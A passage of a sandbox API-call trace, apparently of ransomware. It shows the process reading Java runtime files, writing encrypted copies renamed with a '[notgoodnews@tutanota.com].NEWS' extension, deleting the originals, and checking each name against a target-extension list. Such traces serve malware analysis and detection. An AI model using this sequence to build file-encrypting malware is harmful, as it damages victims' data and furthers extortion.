Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.537] lstrlenW (lpString=".1cd") returned 4 [0093.537] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0093.537] lstrlenW (lpString=".jpg") returned 4 [0093.537] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.537] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0093.537] lstrlenW (lpString="unpack200.exe") returned 13 [0093.537] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.538] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=197184) returned 1 [0093.538] CloseHandle (hObject=0x2c4) returned 1 [0093.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0093.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.538] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.538] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.538] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.538] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0093.538] GetLastError () returned 0x0 [0093.538] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x30240, lpOverlapped=0x0) returned 1 [0093.543] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x30250, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x30250, lpOverlapped=0x0) returned 1 [0093.546] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.546] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xee, lpOverlapped=0x0) returned 1 [0093.546] SetEndOfFile (hFile=0x388) returned 1 [0093.546] CloseHandle (hObject=0x388) returned 1 [0093.547] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.547] SetEndOfFile (hFile=0x2c4) returned 1 [0093.548] CloseHandle (hObject=0x2c4) returned 1 [0093.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.549] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 1 [0093.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.549] lstrlenW (lpString=".doc") returned 4 [0093.549] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0093.549] lstrlenW (lpString=".docx") returned 5 [0093.549] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0093.549] lstrlenW (lpString=".pdf") returned 4 [0093.549] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0093.549] lstrlenW (lpString=".xls") returned 4 [0093.549] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0093.549] lstrlenW (lpString=".xlsx") returned 5 [0093.549] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0093.549] lstrlenW (lpString=".ppt") returned 4 [0093.549] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0093.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.549] lstrlenW (lpString=".zip") returned 4 [0093.549] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0093.549] lstrlenW (lpString=".rar") returned 4 [0093.549] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0093.549] lstrlenW (lpString=".bz2") returned 4 [0093.549] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0093.549] lstrlenW (lpString=".7z") returned 3 [0093.550] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0093.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.550] lstrlenW (lpString=".dbf") returned 4 [0093.550] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0093.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.550] lstrlenW (lpString=".1cd") returned 4 [0093.550] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0093.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.550] lstrlenW (lpString=".jpg") returned 4 [0093.550] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0093.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.550] lstrlenW (lpString=".doc") returned 4 [0093.550] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0093.550] lstrlenW (lpString=".docx") returned 5 [0093.550] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0093.550] lstrlenW (lpString=".pdf") returned 4 [0093.550] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0093.550] lstrlenW (lpString=".xls") returned 4 [0093.550] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0093.550] lstrlenW (lpString=".xlsx") returned 5 [0093.550] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0093.550] lstrlenW (lpString=".ppt") returned 4 [0093.550] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0093.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.550] lstrlenW (lpString=".zip") returned 4 [0093.550] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0093.550] lstrlenW (lpString=".rar") returned 4 [0093.550] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0093.550] lstrlenW (lpString=".bz2") returned 4 [0093.550] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0093.550] lstrlenW (lpString=".7z") returned 3 [0093.550] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0093.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.550] lstrlenW (lpString=".dbf") returned 4 [0093.550] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0093.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.551] lstrlenW (lpString=".1cd") returned 4 [0093.551] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0093.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0093.551] lstrlenW (lpString=".jpg") returned 4 [0093.551] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0093.551] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.551] lstrlenW (lpString="verify.dll") returned 10 [0093.551] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.551] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=49216) returned 1 [0093.551] CloseHandle (hObject=0x2c4) returned 1 [0093.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0093.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.551] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.552] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.552] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0093.552] GetLastError () returned 0x0 [0093.552] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0xc040, lpOverlapped=0x0) returned 1 [0093.853] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xc050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xc050, lpOverlapped=0x0) returned 1 [0093.855] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.855] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe8, lpOverlapped=0x0) returned 1 [0093.855] SetEndOfFile (hFile=0x388) returned 1 [0093.855] CloseHandle (hObject=0x388) returned 1 [0093.855] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.855] SetEndOfFile (hFile=0x2c4) returned 1 [0093.856] CloseHandle (hObject=0x2c4) returned 1 [0093.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.857] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 1 [0093.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.857] lstrlenW (lpString=".doc") returned 4 [0093.857] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.857] lstrlenW (lpString=".docx") returned 5 [0093.857] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0093.857] lstrlenW (lpString=".pdf") returned 4 [0093.857] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.857] lstrlenW (lpString=".xls") returned 4 [0093.857] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.857] lstrlenW (lpString=".xlsx") returned 5 [0093.857] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0093.857] lstrlenW (lpString=".ppt") returned 4 [0093.857] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.857] lstrlenW (lpString=".zip") returned 4 [0093.857] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.857] lstrlenW (lpString=".rar") returned 4 [0093.857] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.857] lstrlenW (lpString=".bz2") returned 4 [0093.857] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.857] lstrlenW (lpString=".7z") returned 3 [0093.857] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.857] lstrlenW (lpString=".dbf") returned 4 [0093.857] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.858] lstrlenW (lpString=".1cd") returned 4 [0093.858] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.858] lstrlenW (lpString=".jpg") returned 4 [0093.858] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.858] lstrlenW (lpString=".doc") returned 4 [0093.858] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.858] lstrlenW (lpString=".docx") returned 5 [0093.858] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0093.858] lstrlenW (lpString=".pdf") returned 4 [0093.858] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.858] lstrlenW (lpString=".xls") returned 4 [0093.858] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.858] lstrlenW (lpString=".xlsx") returned 5 [0093.858] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0093.858] lstrlenW (lpString=".ppt") returned 4 [0093.858] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.858] lstrlenW (lpString=".zip") returned 4 [0093.858] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.858] lstrlenW (lpString=".rar") returned 4 [0093.858] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.858] lstrlenW (lpString=".bz2") returned 4 [0093.858] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.858] lstrlenW (lpString=".7z") returned 3 [0093.858] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.858] lstrlenW (lpString=".dbf") returned 4 [0093.858] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.858] lstrlenW (lpString=".1cd") returned 4 [0093.858] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0093.858] lstrlenW (lpString=".jpg") returned 4 [0093.859] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.859] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.859] lstrlenW (lpString="wsdetect.dll") returned 12 [0093.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.859] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=192576) returned 1 [0093.859] CloseHandle (hObject=0x2c4) returned 1 [0093.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0093.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.859] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.859] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.860] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0093.860] GetLastError () returned 0x0 [0093.860] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x2f040, lpOverlapped=0x0) returned 1 [0093.865] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x2f050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2f050, lpOverlapped=0x0) returned 1 [0093.868] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.868] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.868] SetEndOfFile (hFile=0x388) returned 1 [0093.869] CloseHandle (hObject=0x388) returned 1 [0093.869] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.869] SetEndOfFile (hFile=0x2c4) returned 1 [0093.871] CloseHandle (hObject=0x2c4) returned 1 [0093.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.871] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 1 [0093.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.871] lstrlenW (lpString=".doc") returned 4 [0093.871] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.871] lstrlenW (lpString=".docx") returned 5 [0093.871] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0093.871] lstrlenW (lpString=".pdf") returned 4 [0093.871] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.871] lstrlenW (lpString=".xls") returned 4 [0093.871] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.871] lstrlenW (lpString=".xlsx") returned 5 [0093.872] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0093.872] lstrlenW (lpString=".ppt") returned 4 [0093.872] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.872] lstrlenW (lpString=".zip") returned 4 [0093.872] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.872] lstrlenW (lpString=".rar") returned 4 [0093.872] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.872] lstrlenW (lpString=".bz2") returned 4 [0093.872] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.872] lstrlenW (lpString=".7z") returned 3 [0093.872] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.872] lstrlenW (lpString=".dbf") returned 4 [0093.872] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.872] lstrlenW (lpString=".1cd") returned 4 [0093.872] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.872] lstrlenW (lpString=".jpg") returned 4 [0093.872] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.872] lstrlenW (lpString=".doc") returned 4 [0093.872] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.872] lstrlenW (lpString=".docx") returned 5 [0093.872] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0093.872] lstrlenW (lpString=".pdf") returned 4 [0093.872] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.872] lstrlenW (lpString=".xls") returned 4 [0093.872] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.872] lstrlenW (lpString=".xlsx") returned 5 [0093.872] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0093.872] lstrlenW (lpString=".ppt") returned 4 [0093.872] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.873] lstrlenW (lpString=".zip") returned 4 [0093.873] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.873] lstrlenW (lpString=".rar") returned 4 [0093.873] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.873] lstrlenW (lpString=".bz2") returned 4 [0093.873] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.873] lstrlenW (lpString=".7z") returned 3 [0093.873] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.873] lstrlenW (lpString=".dbf") returned 4 [0093.873] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.873] lstrlenW (lpString=".1cd") returned 4 [0093.873] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0093.873] lstrlenW (lpString=".jpg") returned 4 [0093.873] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.873] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.873] lstrlenW (lpString="zip.dll") returned 7 [0093.873] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0093.874] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=77888) returned 1 [0093.874] CloseHandle (hObject=0x2c4) returned 1 [0093.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0093.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.874] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), 